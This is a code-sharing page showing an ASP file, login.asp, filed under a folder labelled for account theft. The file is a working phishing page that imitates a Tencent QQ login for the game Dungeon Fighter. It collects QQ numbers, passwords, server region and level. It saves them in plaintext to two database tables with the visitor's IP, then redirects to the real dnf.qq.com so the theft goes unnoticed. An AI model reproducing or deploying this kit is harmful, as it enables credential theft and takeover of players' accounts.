📄 login.asp

📁 盗号用的
💻 ASP
字号:
<!--#include file="Conn.asp"-->
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if  mid(server_v1,8,len(server_v2))<>server_v2  then
    response.write "<script>alert('警告！你正在从外部提交数据！！请立即终止！！');location.href='index.htm';</script>"
    Response.End
end If

action = Request.Form("action")
qq = SafeStr(Request.Form("qq"))
pass = SafeStr(Request.Form("pass"))
qu = SafeStr(Request.Form("qu"))
dj = SafeStr(Request.Form("dj"))
If action = "save" Then
    Call RegStr("^[0-9]*$",qq,"QQ号码输入有误！")
	Set Rs = Server.CreateObject("Adodb.Recordset")
	Rs.Open "Select * From Info",Conn,1,3
	Rs.AddNew
    Rs("qq") = qq
	Rs("pass") = pass
	Rs("class") = qu
	Rs("grade") = dj
	Rs("addtime") = Now()
	Rs("loginip") = Request.ServerVariables("REMOTE_HOST")
	Rs.Update
	Rs.Close
	Set Rs = Nothing
	Set Rs = Server.CreateObject("Adodb.Recordset")
	Rs.Open "Select * From Infos",Conn,1,3
	Rs.AddNew
    Rs("qq") = qq
	Rs("pass") = pass
	Rs("class") = qu
	Rs("grade") = dj
	Rs("addtime") = Now()
	Rs("loginip") = Request.ServerVariables("REMOTE_HOST")
	Rs.Update
	Rs.Close
	Set Rs = Nothing
	Response.Write "<script>alert('您的资料已经被成功录入，请等待审核！');location.href='http://dnf.qq.com/index.shtml'</script>"
End If 
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML 
xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE></TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content=all name=robots>
<META content="Copyright (c) 2006-2008 TENCNET" name=Copyright>
<META content="" name=Description>
<META content="" name=Keywords><LINK href="images/style1.css" type=text/css rel=stylesheet>
<SCRIPT language=JavaScript src="images/hidlogin.js" type=text/javascript></SCRIPT>

<SCRIPT language=javascript>
function checkinput()
{
	if(document.form1.qq.value == ""){
		window.alert("您还没有输入QQ号!");
		return false;
	}
	if(document.form1.pass.value == ""){
		window.alert("您还没有输入密码!");
		return false;
	}
	if(document.form1.qu.value == ""){
		window.alert("您还没有选择大区!");
		return false;
	}
	return true;
}
</SCRIPT>
<META content="MSHTML 6.00.2900.3395" name=GENERATOR>
<style type="text/css">
<!--
.STYLE3 {color: #666666}
-->
</style>
</HEAD>
<BODY style="BACKGROUND: none transparent scroll repeat 0% 0%">
<TABLE height=150 cellSpacing=0 cellPadding=0 width=216 border=0>
  <TBODY>


  <TR>
      <FORM name=form1 onSubmit="return checkinput()" action=login.asp method=post target=_top>
      <TABLE class=zi cellPadding=3 align=center>
        <TBODY>
        <TR>
          <TD width="61" class="STYLE3">QQ帐号：</TD>
          <TD width="105"><INPUT class="txt s1" id=qq maxLength=10 name=qq></TD></TR>

        <TR>
          <TD><span class="STYLE3">QQ密码：</span></TD>
          <TD><INPUT class="txt s1" id=email22 type=password name=pass></TD></TR>
        <TR>
          <TD><span class="STYLE3">选　 区：</span></TD>
          <TD><SELECT id=qu name=qu _desc="大区号" _required> 
              <option value="" selected="selected">请选择大区</option>
<%
Set Rs = Conn.Execute("Select * From Class Order By Id Asc")
Do While Not Rs.Eof
%>
                <option value="<%=Rs("ClassName")%>"><%=Rs("ClassName")%></option>
<%
    Rs.MoveNext
Loop
Set Rs = Nothing
%>
</SELECT></TD></TR>
        <TR>
          <TD><span class="STYLE3">等　 级：</span></TD>
          <TD><SELECT id=dj name=dj _desc="大区号" _required>
            <option value="" selected="selected">请选择等级</option>

            <option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
			<option value="4">4</option>
			<option value="5">5</option>
			<option value="6">6</option>

			<option value="7">7</option>
			<option value="8">8</option>
			<option value="9">9</option>
			<option value="10">10</option>
			<option value="11">11</option>
			<option value="12">12</option>

			<option value="13">13</option>
			<option value="14">14</option>
			<option value="15">15</option>
			<option value="16">16</option>
			<option value="17">17</option>
			<option value="18">18</option>

			<option value="19">19</option>
			<option value="20">20</option>
			<option value="21">21</option>
			<option value="22">22</option>
			<option value="23">23</option>
			<option value="24">24</option>

			<option value="25">25</option>
			<option value="26">26</option>
			<option value="27">27</option>
			<option value="28">28</option>
			<option value="29">29</option>
			<option value="30">30</option>

		    <option value="31">31</option>
			<option value="32">32</option>
			<option value="33">33</option>
			<option value="34">34</option>
			<option value="35">35</option>
			<option value="36">36</option>

			<option value="37">37</option>
			<option value="38">38</option>
			<option value="39">39</option>
			<option value="40">40</option>
			<option value="41">41</option>
			<option value="42">42</option>

			<option value="43">43</option>
			<option value="44">44</option>
			<option value="45">45</option>
			<option value="46">46</option>
			<option value="47">47</option>
			<option value="48">48</option>

			<option value="49">49</option>
			<option value="50">50</option>
			<option value="51">51</option>
			<option value="52">52</option>
			<option value="53">53</option>
			<option value="54">54</option>

			<option value="55">55</option>
			<option value="56">56</option>
			<option value="57">57</option>
			<option value="58">58</option>
			<option value="59">59</option>
			<option value="60">60</option>

          </SELECT></TD>
        </TR>
        <TR>
          <TD align=middle colSpan=2><INPUT class=btn onClick="javascript:return checkinput();" type=submit value="确 定" name=Submit> 
<INPUT class=btn onClick="location.href='#';" type=button value=忘记密码 name=Submit><input type="hidden" name="action" value="save"></TD></TR></TBODY></TABLE>
      </FORM></TD></TR></TBODY></TABLE></BODY></HTML>
💿 文件大小 1840 K
👤 上传用户 lanyunhan
📂 所属分类汇编语言
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -